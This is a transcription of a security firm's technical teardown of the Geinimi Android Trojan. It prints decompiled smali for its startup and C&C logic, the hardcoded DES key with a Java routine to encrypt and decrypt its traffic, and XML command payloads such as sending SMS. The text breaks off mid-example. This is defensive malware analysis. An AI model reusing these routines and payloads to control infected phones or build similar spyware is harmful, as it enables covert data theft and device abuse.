Geinimi Trojan Technical Teardown
|
|
|
- Oscar Willis
- 10 years ago
- Views:
Transcription
1 Geinimi Trojan Technical Teardown Timothy Strazzere, Timothy Wyatt Lookout Mobile Security 1/6/2011 Introduction Geinimi is a Trojan affecting Android devices that has come to Lookout s attention as emerging through third-party application sources (markets and app-sharing forums), primarily in China. Geinimi is noteworthy as it represents a reasonable jump in capabilities and sophistication over existing Android malware observed to date. The word Geinimi (Ghay-knee-mē) is derived from the name of the first repackaged application it was discovered in. Geinimi is Mandarin Chinese for give you rice, essentially slang for give you money. The Trojan was originally injected using the package com.geinimi but as it spread, subsequent variants took on an obfuscated package scheme. In this document, we outline how the Trojan starts, what obfuscation is employed, how the command and control system works, and what commands we are able to observe in action. To simplify the discussion, we will focus primarily on an infected sample of a game called Monkey Jump 2 : File: MonkeyJump2.apk Md5: e0106a0f1e687834ad3c91e599ace1be Sha1: 179e1c69ceaf2a98fdca1817a3f3f1fa28236b13 Geinimi SDK: 10.7 Lookout Mobile Security: Geinimi TrojanTechnical Teardown 1
2 Anatomy and Lifecycle Geinimi is distributed inside of repackaged versions of legitimate applications. An infected app requests significant permissions over and above its legitimate counterpart. Below are the original limited permissions of a clean sample of the app: android.permission.internet android.permission.access_coarse_location android.permission.read_phone_state android.permission.vibrate Compare to the infected sample, carrying the following permissions: android.permission.internet android.permission.access_coarse_location android.permission.read_phone_state android.permission.vibrate com.android.launcher.permission.install_shortcut android.permission.access_fine_location android.permission.call_phone android.permission.mount_unmount_filesystems android.permission.read_contacts android.permission.read_sms android.permission.send_sms android.permission.set_wallpaper android.permission.write_contacts android.permission.write_external_storage com.android.browser.permission.read_history_bookmarks com.android.browser.permission.write_history_bookmarks android.permission.access_gps android.permission.access_location android.permission.restart_packages android.permission.receive_sms android.permission.write_sms When the author(s) infect a file, they ensure Geinimi starts via two different declared entry points the Android Manifest. The default application activity is overwritten with a new activity that launches the Geinimi service. Additionally, a broadcast receiver listens for the BOOT_COMPLETED and SMS_RECEIVED intents. <!-- Default activity --> <activity android:theme="@android: " android:label="@7f050000" android:name="com.dseffects.monkeyjump2.jump2.c.rufcuatj"> <intent-filter> <action android:name="android.intent.action.main"></action> <category android:name="android.intent.category.launcher"></category> </intent-filter> </activity> <!-- Broadcast receiver --> <receiver android:name="com.dseffects.monkeyjump2.jump2.f"> <intent-filter> <action android:name="android.intent.action.boot_completed"></action> <category android:name="android.intent.category.launcher"></category> </intent-filter> <intent-filter android:priority="65535"> <action android:name="android.provider.telephony.sms_received"> </action> </intent-filter> </receiver> Lookout Mobile Security: Geinimi TrojanTechnical Teardown 2
3 Both entry points execute the method startserviceifmust, which attempts to connect to the local Geinimi service. If the service is running, it will request the SDK version and see whether it is equal to or newer than itself. Depending on the answer it starts a new service or remains inactive. Communication with the service happens over a TCP socket on ports 5432, 4501 or This is most likely done so that multiple instances of Geinimi can co-exist on the same device, without knowing the others class paths and without accessing each others services directly. A running service will create a thread to manage the socket. On connection to the socket it listens for a challenge string of hi,are you online?" and responds with "yes,i'm online!". The client then sends the Geinimi SDK major and minor version, and the server responds with it s own major and minor version. An excerpt from jump2.h.isrunningservices highlights this:.method public static isrunningservices(landroid/content/context;)z.registers 13 const/4 v11, 0x1 const/4 v2, 0x0 v0 = "10.7"; // Specific SDK Version for this sample invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->f()Ljava/lang/String; const-string v1, "\\." invoke-virtual {v0, v1}, Ljava/lang/String;- >split(ljava/lang/string;)[ljava/lang/string; v1 = "10"; // Save major version aget-object v1, v0, v2 invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v1 v0 = "7"; // Save minor version aget-object v0, v0, v11 invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v0 move v3, v2 :goto_19 // Get length of port array sget-object v4, Lcom/dseffects/MonkeyJump2/jump2/h;->a:[I array-length v4, v4 // Make sure we didn't over the size of the array if-ge v2, v4, :cond_93 if-eqz v3, :cond_22 move v0, v11 :goto_21 return v0 :cond_22 :try_start_22 new-instance v4, Ljava/net/Socket; const-string v5, " " v6 = h.a[v0]; // Get a port from ports[], 5432, 4501 or 6543 sget-object v6, Lcom/dseffects/MonkeyJump2/jump2/h;->a:[I aget v6, v6, v2 v4 = new Socket(" ", 5432); invoke-direct {v4, v5, v6}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V h.b = v4; sput-object v4, Lcom/dseffects/MonkeyJump2/jump2/h;->b:Ljava/net/Socket; v4 = v4.getinputstream(); invoke-virtual {v4}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream; move-result-object v4 v5 = h.b; // Get the socket sget-object v5, Lcom/dseffects/MonkeyJump2/jump2/h;->b:Ljava/net/Socket; v5 = v5.getoutputstream() Lookout Mobile Security: Geinimi TrojanTechnical Teardown 3
4 invoke-virtual {v5}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream; move-result-object v5 v5.write("hi,are you online?".getbytes()); const-string v6, "hi,are you online?" invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B move-result-object v6 invoke-virtual {v5, v6}, Ljava/io/OutputStream;->write([B)V new Timer().schedule(new u(), 0x1388); // Start timer to close connection new-instance v6, Ljava/util/Timer; invoke-direct {v6}, Ljava/util/Timer;-><init>()V new-instance v7, Lcom/dseffects/MonkeyJump2/jump2/u; invoke-direct {v7}, Lcom/dseffects/MonkeyJump2/jump2/u;-><init>()V const-wide/16 v8, 0x1388 invoke-virtual {v6, v7, v8, v9}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V // Read in 256 bytes from the inputstream v4 = new byte[0x100]; v8 = v4.read(v4); const/16 v7, 0x100 new-array v7, v7, [B invoke-virtual {v4, v7}, Ljava/io/InputStream;->read([B)I move-result v8 v9 = new String(v4, 0x0, v8); // Get a string from the byte array new-instance v9, Ljava/lang/String; const/4 v10, 0x0 invoke-direct {v9, v7, v10, v8}, Ljava/lang/String;-><init>([BII)V v9.equals("yes,i\'m online!"); const-string v7, "yes,i\'m online!" invoke-virtual {v9, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v7 // If the strings don t match try the next port if-eqz v7, :cond_8d // Cancel timer, write major and minor version invoke-virtual {v6}, Ljava/util/Timer;->cancel()V invoke-virtual {v5, v1}, Ljava/io/OutputStream;->write(I)V invoke-virtual {v5, v0}, Ljava/io/OutputStream;->write(I)V // Read in major and minor versions from running Geinimi invoke-virtual {v4}, Ljava/io/InputStream;->read()I move-result v7 invoke-virtual {v4}, Ljava/io/InputStream;->read()I move-result v8 // Is running Geinimi major version larger than ours? if-lt v1, v7, :cond_7e // Is running Geinimi major version the same as ours? if-ne v1, v7, :cond_7f // Is running Geinimi minor version greater than ours? if-gt v0, v8, :cond_7f // If the running version is great than ours, return true :cond_7e move v3, v11 :cond_7f // Else, close the connection - and run our own Geinimi service invoke-virtual {v5}, Ljava/io/OutputStream;->flush()V invoke-virtual {v5}, Ljava/io/OutputStream;->close()V invoke-virtual {v4}, Ljava/io/InputStream;->close()V sget-object v4, Lcom/dseffects/MonkeyJump2/jump2/h;->b:Ljava/net/Socket; invoke-virtual {v4}, Ljava/net/Socket;->close()V :cond_8d invoke-virtual {v6}, Ljava/util/Timer;->cancel()V :try_end_90.catch Ljava/lang/Exception; {:try_start_22.. :try_end_90} :catch_95 :goto_90 add-int/lit8 v2, v2, 0x1 goto :goto_19 :cond_93 move v0, v3 goto :goto_21 :catch_95 move-exception v4 goto :goto_90.end method Lookout Mobile Security: Geinimi TrojanTechnical Teardown 4
5 In the class jump2.j we can see where this server socket is accepted. It will respond to the challenge string, read the SDK values and either choose to continue running or stop the current running Geinimi service..method public final run()v.registers 8 :goto_0 :try_start_0 iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;- >a:lcom/dseffects/monkeyjump2/jump2/e;iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/j;->a:Lcom/dseffects/MonkeyJump2/jump2/e; v1 = v1.c; (ServerSocket) iget-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/e;->c:Ljava/net/ServerSocket; v1 = v1.accept() invoke-virtual {v1}, Ljava/net/ServerSocket;->accept()Ljava/net/Socket; iput-object v1, v0, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket; iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;- >a:lcom/dseffects/monkeyjump2/jump2/e; iget-object v0, v0, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket; v0 = v0.getinputstream() invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream; iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/j;- >a:lcom/dseffects/monkeyjump2/jump2/e; iget-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket; v1 = v1.getoutputstream(); invoke-virtual {v1}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream; v2 = new Timer().schedule(new k(this), 0x1388); new-instance v2, Ljava/util/Timer; invoke-direct {v2}, Ljava/util/Timer;-><init>()V new-instance v3, Lcom/dseffects/MonkeyJump2/jump2/k; invoke-direct {v3, p0}, Lcom/dseffects/MonkeyJump2/jump2/k;- ><init>(lcom/dseffects/monkeyjump2/jump2/j;)v const-wide/16 v4, 0x1388 invoke-virtual {v2, v3, v4, v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V v3 = new byte[0x100]; const/16 v3, 0x100 new-array v3, v3, [B v4 = v0.read(v3); invoke-virtual {v0, v3}, Ljava/io/InputStream;->read([B)I move-result v4 // Convert read bytes into string new-instance v5, Ljava/lang/String; const/4 v6, 0x0 invoke-direct {v5, v3, v6, v4}, Ljava/lang/String;-><init>([BII)V v3 = "hi,are you online?"; v3 = v5.equals(v3); const-string v3, "hi,are you online?" invoke-virtual {v5, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 // If strings don t match, close socket, reopen and wait for connection if-eqz v3, :cond_96 v2.cancel(); // cancel timeout task invoke-virtual {v2}, Ljava/util/Timer;->cancel()V v1.write("yes,i\'m online!".getbytes()); const-string v3, "yes,i\'m online!" invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B move-result-object v3 invoke-virtual {v1, v3}, Ljava/io/OutputStream;->write([B)V v3 = v0.read(); // Read major sdk version invoke-virtual {v0}, Ljava/io/InputStream;->read()I move-result v3 v4 = v0.read(); // Read minor sdk version invoke-virtual {v0}, Ljava/io/InputStream;->read()I Lookout Mobile Security: Geinimi TrojanTechnical Teardown 5
6 move-result v4 v1.write(0xa) // Send sdk version major const/16 v5, 0xa; invoke-virtual {v1, v5}, Ljava/io/OutputStream;->write(I)V v1.write(0x5); // Send sdk version minor const/4 v5, 0x5 invoke-virtual {v1, v5}, Ljava/io/OutputStream;->write(I)V invoke-virtual {v1}, Ljava/io/OutputStream;->flush()V invoke-virtual {v1}, Ljava/io/OutputStream;->close()V invoke-virtual {v0}, Ljava/io/InputStream;->close()V iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;- >a:lcom/dseffects/monkeyjump2/jump2/e; iget-object v0, v0, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket; invoke-virtual {v0}, Ljava/net/Socket;->close()V // Get the SDK version invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->f()Ljava/lang/String; // Parse SDK version const-string v1, "\\." invoke-virtual {v0, v1}, Ljava/lang/String;- >split(ljava/lang/string;)[ljava/lang/string; const/4 v1, 0x0 aget-object v1, v0, v1 invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v1 const/4 v5, 0x1 aget-object v0, v0, v5 invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v0 // Compare received major SDK version to internal SDK major version if-gt v3, v1, :cond_8c if-ne v3, v1, :cond_96 // Compare received minor SDK version to internal SDK minor version if-le v4, v0, :cond_96 :cond_8c // If received SDK version is greater than current, stop this instance of // the service iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;- >a:lcom/dseffects/monkeyjump2/jump2/e; e.e = true; const/4 v1, 0x1 iput-boolean v1, v0, Lcom/dseffects/MonkeyJump2/jump2/e;->e:Z iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;- >a:lcom/dseffects/monkeyjump2/jump2/e; invoke-virtual {v0}, Lcom/dseffects/MonkeyJump2/jump2/e;->stopSelf()V // Else, close the socket, reopen and wait for a new connection :cond_96 invoke-virtual {v2}, Ljava/util/Timer;->cancel()V :try_end_99.catch Ljava/io/IOException; {:try_start_0.. :try_end_99} :catch_9b goto/16 :goto_0 :catch_9b move-exception v0 goto/16 :goto_0.end method It s clear through this communication that multiple variants of Geinimi have been created and designed to work with each other on the same device. If a newer variant of Geinimi is installed on the device, the older variant surrenders control to it. This is a rather interesting method since it will minimize duplicating traffic and keep the device updated and using the latest Trojan code. Lookout Mobile Security: Geinimi TrojanTechnical Teardown 6
7 Once the Geinimi service is started, it performs a check-in with the C&C server. The check-in between the server and Trojan is also encrypted, resulting in less conspicuous network traffic. This check-in request occurs every five minutes by default, but can be changed by the server. When checking it, the Trojan may receive new commands to perform. This is illustrated in the request for commands below: 07:51: :54:00:12:34:56 > 52:54:00:12:35:02, ethertype IPv4 (0x0800), length 349: > : P 241:536(295) ack 1 win x0020: d0 ca6a d73 3d33 P..??j..params=3 0x0030: ff8d25c x0040: fe375a7de1797a7 0x0050: da7fa36b5cee41f 0x0060: abfdd9d0e04c3b9 0x0070: aaf93bf06ed0490e 0x0080: b4ab4bce6ec9a 0x0090: f8d368d6a0993 0x00a0: da e5 0x00b0: a08f1ae2507d0f 0x00c0: abfdd9d0e04c3bf 0x00d0: f7339d5b56855b 0x00e0: a6e3c30c4f07b3 0x00f0: f7c0347e2a498ab8 0x0100: d f7ec 0x0110: aebc1ae56e3 0x0120: fef18cbf35d11c14 0x0130: c c628db 0x0140: ecf0f0cd5b2162b This capture shows an infected emulator contacting the Command & Control server; the decrypted value is the following: PTID= &IMEI= &sdkver=10.7&SALESID=0006&IMSI= &longitude=0.0&latitude=0.0&DID=2001&autosdkver=10.7&CPID=3312 We can see above that the C&C server can easily identify each infected device uniquely. The PTID, SALESID, DID and CPID all appear to be unique per infected package, possibly indicating what infected application the user is running. The IMEI and IMSI can be used to uniquely identify the user, as no phone should have the same values for either of these fields. The longitude and latitude can then be used to track this specific user, and potentially their movements in 5-minute intervals. Finally, the sdkver and autosdkver appear to identify the version of the Trojan. With all this information the person controlling the C&C server can uniquely identify the location of each infected phone, what version of Geinimi they are running, the infected application they have installed and potentially issue targeted commands to the device. These are the main methods of communication used by Geinimi, in the encryption and command and control section we will dive deeper into how the server can issue commands. Lookout Mobile Security: Geinimi TrojanTechnical Teardown 7
8 Encryption The crypto used in Geinimi is straight forward, and falls quickly. 56-bit DES is used with a key of 0x This is found inside jump2.e.k, invoked early in the initialization:.method static constructor <clinit>()v // Load the array and say it to this.b; this.b = new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 }; const/16 v0, 0x8 new-array v0, v0, [B fill-array-data v0, :array_8c sput-object v0, Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B :array_8c.array-data 0x1 0x1t 0x2t 0x3t 0x4t 0x5t 0x6t 0x7t 0x8t.end array-data.end method This key is used throughout the Geinimi code for several things, such as encrypting/decrypting communications to and from the C&C server, hiding clear-text commands and other strings within the binary, and hiding values in the shared preferences. As we illustrated in the previous section the communications with the C&C server are encrypted. The encryption and decryption methods are very simple functions, and easily mimicked as follows: /** * Encrypt/Decrypt a Geinimi byte array * array * the byte array to encrypt/decrypt mode * Cipher.ENCRYPT_MODE / Cipher.DECRYPT_MODE the resulting byte array or null if failed */ public static byte[] crypto(byte[] array, int mode) { Cipher cipher = null; DESKeySpec keyspec = null; try { if (cipher == null) { byte[] key = new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 }; SecretKeyFactory factory = SecretKeyFactory.getInstance("DES"); SecretKey secret = factory.generatesecret(new DESKeySpec(key)); cipher = Cipher.getInstance("DES"); cipher.init(mode, secret); } byte[] result = cipher.dofinal(array); return result; } catch (Exception exception) { Lookout Mobile Security: Geinimi TrojanTechnical Teardown 8
9 } } System.err.println(exception.toString()); return null; Using the code above we can decrypt Geinimi s strings and communication, and can encrypt payloads to send to the Trojan itself. There is one minor adjustment that must be done to payloads sent from the C&C server to a Geinimi client, as the client expects a static 4 byte header in its response received from the C&C server. This special header is outlined in the check-in task, found in jump2.e.n a(string server, Map parameters, ByteArrayBuffer response) function;.method public static a(ljava/lang/string;ljava/util/map;lorg/apache/http/util/bytearraybuffer;)v const/16 v9, 0x69 // Connect to the server passed in as a parameter, post parameters from the Map :goto_af if (v2 > 0x4) goto cond_c2 if-ge v2, v7, :cond_c2 v4 = 0x4 - v3; sub-int v4, v7, v3 v0.read(v1, v3, v4); // Read the first four bytes invoke-virtual {v0, v1, v3, v4}, Ljava/io/DataInputStream;->read([BII)I move-result v4 // Add the number of bytes read, if less than 4, wait for page to load add-int/2addr v3, v4 if-ge v3, v7, :cond_c2 const-wide/16 v4, 0x64 :try_start_bc invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V :try_end_bf.catch Ljava/lang/InterruptedException; {:try_start_bc.. :try_end_bf} :catch_100 :goto_bf add-int/lit8 v2, v2, 0x1 goto :goto_af // Otherwise continue :cond_c2 // Check if the four above bytes where "himi" otherwise throw IOException if((v1[0x0] & 0xFF)!= 0x68) then goto :cond_e0 aget-byte v2, v1, v6 and-int/lit16 v2, v2, 0xff const/16 v3, 0x68 if-ne v2, v3, :cond_e0 if((v1[0x1] & 0xFF)!= 0x69) then goto :cond_e0 aget-byte v2, v1, v8 and-int/lit16 v2, v2, 0xff if-ne v2, v9, :cond_e0 if((v1[0x2] & 0xFF)!= 0x6d) then goto :cond_e0 const/4 v2, 0x2 aget-byte v2, v1, v2 and-int/lit16 v2, v2, 0xff const/16 v3, 0x6d if-ne v2, v3, :cond_e0 if((v1[0x3] & 0xFF) == 0x0x69) then goto :cond_e8 const/4 v2, 0x3 aget-byte v1, v1, v2 and-int/lit16 v1, v1, 0xff if-eq v1, v9, :cond_e8 :cond_e0 // "himi" was not in the control bits, throw an exception new-instance v0, Ljava/io/IOException; const-string v1, "not my URL" invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V throw v0 Lookout Mobile Security: Geinimi TrojanTechnical Teardown 9
10 :cond_e8 // Control bits match, read 0x200 bytes and append them to the response // loop if needed for more bytes invoke-virtual {p2}, Lorg/apache/http/util/ByteArrayBuffer;->clear()V const/16 v1, 0x200 new-array v1, v1, [B :goto_ef array-length v2, v1 invoke-virtual {v0, v1, v6, v2}, Ljava/io/DataInputStream;->read([BII)I move-result v2 if-lez v2, :cond_fa invoke-virtual {p2, v1, v6, v2}, Lorg/apache/http/util/ByteArrayBuffer;- >append([bii)v goto :goto_ef :cond_fa if-eqz p0, :cond_ff invoke-virtual {p0}, Ljava/net/HttpURLConnection;->disconnect()V :cond_ff return-void :catch_100 move-exception v4 goto :goto_bf.end method Knowing this, we can now communicate with the Geinimi client ourselves. If we can point Geinimi to our own server, we can deliver commands that the client can consume. A second use of crypto in Geinimi is to make reverse engineering more challenging. Because Geinimi encrypts many of it s strings, they don t appear directly in the strings table of the application s classes.dex file. Strings are decrypted at runtime, yielding repeated calls to the decryption routine in Geinimi code: // This will result in this.v = "CmdID" this.v = e/p.a(0x23); const/16 v0, 0x23 invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; sput-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->v:Ljava/lang/String; // This will result in this.w = "AdID" this.w = e/p.a(0x24); const/16 v0, 0x24 invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; sput-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->w:Ljava/lang/String; Finally, Geinimi also encrypts contents of its shared preferences file. After an initial run of the Geinimi service, values are saved into the shared-preferences. Here we find a list of servers Geinimi will rotate through, as well as data saved by a few of its command handlers. An example shared preference file from MonkeyJump2 is below: <?xml version='1.0' encoding='utf-8' standalone='yes'?> <map> <string name="hkey7">8582ac70d93824dbaef87b87f f7edf778a0f6c</string> <int name="lasthindex" value="0" /> <string name="hkey8">bfe19c387d318bb c01bb3d9df10f333c75b22b7</string> <string name="hkey9">d86270ab01c cd42ccd f7edf778a0f6c</string> <int name="hlength" value="11" /> <string name="hkey2">11a26b72f2a03c86aa6c742b5b62af6c752f7edf778a0f6c</string> <string name="hkey1">0d27e799584e494031a69f30b4d74c74df10f333c75b22b7</string> <string name="hkey0">efaf9e30fee22b96131de17c6793d6f2df10f333c75b22b7</string> <string name="hkey10">5ee24082afa27568f4f1e0acc961d767dd7e9ad2131ec4c3</string> <string name="hkey6">9a9b5cd5e7d83bce7105c e67df10f333c75b22b7</string> <string name="hkey5">38e62db5062dd9abb3791b0dbbf5375cdf10f333c75b22b7</string> Lookout Mobile Security: Geinimi TrojanTechnical Teardown 10
11 <string name="hkey4">0f04c59bbe85adf23f722a805bec179ddd7e9ad2131ec4c3</string> <string name="hkey3">85de3781de9da3b8bd6637d31cf4c70bdd7e9ad2131ec4c3</string> </map> Values in this shared-preferences turn out to be the C&C servers that Geinimi attempts to connect to. Decrypted, in hkey order, they are the following domains: :8080 We will show later that these hosts can be updated remotely as the controller can issue an updatehost command that stores new values to the shared preferences file. Command and Control The main thread running within Geinimi has five different states it can be in; start, idle, download, parse and transact. START Transitions to the download state. DOWNLOAD - Performs the check-in previously outlined and transitions to parse. PARSE Attempts to translate server-supplied data into command objects. TRANSACT Executes command(s) and returns to idle. IDLE Sleeps for a server-controlled period of time defaulting to 5 minutes. This primary event loop is found in jump2.g, including the following section that processes the download state: // Perform a GET to the server in v1, using map in v0 and the bytearray v2 which is the where the response is stored invoke-static {v1, v0, v2}, Lcom/dseffects/MonkeyJump2/jump2/e/n;- >a(ljava/lang/string;ljava/util/map;lorg/apache/http/util/bytearraybuffer;)v :try_end_14d.catch Ljava/io/IOException; {:try_start_144.. :try_end_14d} :catch_17f.catch Ljava/lang/Exception; {:try_start_144.. :try_end_14d} :catch_16f :try_start_14d v0 = this.f; iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/g;- >f:lorg/apache/http/util/bytearraybuffer; v0 = v0.tobytearray(); invoke-virtual {v0}, Lorg/apache/http/util/ByteArrayBuffer;->toByteArray()[B // Decrypt response v0 = e/p.a(v0); invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a([B)[B v1 = this.f; iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/g;- >f:lorg/apache/http/util/bytearraybuffer; v1.clear(); Lookout Mobile Security: Geinimi TrojanTechnical Teardown 11
12 invoke-virtual {v1}, Lorg/apache/http/util/ByteArrayBuffer;->clear()V v1 = this.f; iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/g;- >f:lorg/apache/http/util/bytearraybuffer; // Replaced the saved encrypted array with the decrypted array v1.append(v0, 0x0, v0.length()); const/4 v2, 0x0 array-length v3, v0 invoke-virtual {v1, v0, v2, v3}, Lorg/apache/http/util/ByteArrayBuffer;- >append([bii)v This code retrieves commands from the server and saves them to the this.f ByteArrayBuffer instance. The excerpt below is from the PARSE state, showing command creation from the downloaded buffer: :pswitch_18b // case 4 "PARSE" :try_start_18b // load response v1 = new ByteArrayInputStream(this.f).toByteArray(). new-instance v0, Ljava/io/ByteArrayInputStream; iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/g;- >f:lorg/apache/http/util/bytearraybuffer; invoke-virtual {v1}, Lorg/apache/http/util/ByteArrayBuffer;->toByteArray()[B // convert xml to a hashmap v0 = e/r.a(new ByteArrayInputStream(v1)); invoke-direct {v0, v1}, Ljava/io/ByteArrayInputStream;-><init>([B)V invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/r;- >a(ljava/io/inputstream;)ljava/util/hashmap; // Convert the HashMap into a Pushable v0 = Pushable.b(v0); invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/Pushable;- >b(ljava/util/hashmap;)lcom/dseffects/monkeyjump2/jump2/pushable; // Save pushable (make commands) this.g = v0; iput-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/g;- >g:lcom/dseffects/monkeyjump2/jump2/pushable; The server returns an XML document, which is subsequently parsed to populate a HashMap. The contents of the HashMap are the CmdID (with its associated value) and one or more command triggers that are associated to their parameter strings. The Map is then handed off to a Pushable instance which serves as a handler, generating command objects and managing their execution. There are two Pushable handlers, one for each CmdID partition. // Take in the hashmap (derived from the XML from the server) and parse // out the CmdID and create Pushables from them.method public static b(ljava/util/hashmap;)lcom/dseffects/monkeyjump2/jump2/pushable; // Retrieve object stored with "CmdID" v0 = p0.get(this.v); // "CmdID" sget-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->v:Ljava/lang/String; invoke-virtual {p0, v0}, Ljava/util/HashMap;- >get(ljava/lang/object;)ljava/lang/object; // Make sure it's a String and parse it as an integer check-cast v0, Ljava/lang/String; invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v2 // Retrieve object stored with "AdID" v0 = p0.get(this.w); // "AdID" sget-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->w:Ljava/lang/String; Lookout Mobile Security: Geinimi TrojanTechnical Teardown 12
13 invoke-virtual {p0, v0}, Ljava/util/HashMap;- >get(ljava/lang/object;)ljava/lang/object; // Make sure the object retrieved is a String and parse it as an integer check-cast v0, Ljava/lang/String; invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v0 if(v2!= v4) // Was CmdID 1? if-ne v2, v4, :cond_46 // If CmdID == 0x1 // Create a CmdId.1 Pushable v1 = new c(p0); new-instance v1, Lcom/dseffects/MonkeyJump2/jump2/c; invoke-direct {v1, p0}, Lcom/dseffects/MonkeyJump2/jump2/c;- ><init>(ljava/util/hashmap;)v :cond_27 :goto_27 if(v1 == 0) then return 0; if-eqz v1, :cond_2d // Save CmdID iput v2, v1, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->a:I // Save AdID iput v0, v1, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->b:I :cond_2d move-object v0, v1 :goto_2e return-object v0 :cond_46 const/4 v3, 0x2 if(v2!= 0x2) // Is CmdID 2? if-ne v2, v3, :cond_27 // If CmdID == 0x2 // Create a CmdId.2 Pushable v1 = new a(p0); new-instance v1, Lcom/dseffects/MonkeyJump2/jump2/a; invoke-direct {v1, p0}, Lcom/dseffects/MonkeyJump2/jump2/a;- ><init>(ljava/util/hashmap;)v goto :goto_27 :cond_4f move-object v0, v1 goto :goto_2e.end method Looking at both CmdID type 1 object c and CmdID type 2 object a, we see similar factory methods that compare command names and create objects for them. The list of commands accepted for each CmdID is listed below. PostUrl call:// // map:// sms:// search:// install:// shortcut:// contact:// wallpaper:// bookmark:// toast:// startapp:// suggestsms:// silentsms:// text:// CmdID 1 CmdID 2 contactlist smsrecord deviceinfo location sms register call suggestsms skiptime changefrequency applist updatehost install uninstall showurl shell kill start smskiller dsms Lookout Mobile Security: Geinimi TrojanTechnical Teardown 13
14 PostUrl Each command object is initialized and then parses the parameter string corresponding to its trigger key in the Map. The general form of the parameter string is semicolondelimited, though there is some divergence. Here is an example of a decrypted send SMS payload: <?xml version="1.0" encoding="utf-8" standalone="no"?> <Root> <Action> <CmdID>2</CmdID> <AdID>12</AdID> <sms> ;lookout</sms> </Action> </Root> When processed, this example results in an SMS command instance (jump2.b.q) that parses the parameter ;lookout (555-loo-kout) is saved into the recipient string and lookout is UTF-8 decoded and used as the message body. When in the transact state, the main thread calls the function below: v0 = this.b; // Load recipient iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/b/q;->b:Ljava/lang/String; v1 = this.c; // Load message body iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/b/q;->c:Ljava/lang/String; e/i(v0, v1); // Call the SMS sending function invoke-static {v0, v1}, Lcom/dseffects/MonkeyJump2/jump2/e/i;- >a(ljava/lang/string;ljava/lang/string;)v Some commands deliver a response to the server as the final step in the transact state. Commands Geinimi supports a variety of commands, making it an extremely interesting target for analysis. Many of the commands analyzed are fully functional, though a few do not appear to work, and we speculate that it remains under development. Commands implement a common interface and typically have a constructor, an argument parser, and an execution method that implements the command logic. As, we previously mentioned, the sms command is capable of sending a serversupplied string to a server-controlled destination. The following are examples of other viable commands that we have observed in execution by means of a mock server. dsms Delete SMS(es) dsms will delete all messages to or from a specified target number or containing a supplied keyword. Examples of some dsms commands: <!-- Command to delete a message from 555-LOOKOUT that contains the message SPAM --> <?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"no\"?> <Root> <Action> Lookout Mobile Security: Geinimi TrojanTechnical Teardown 14
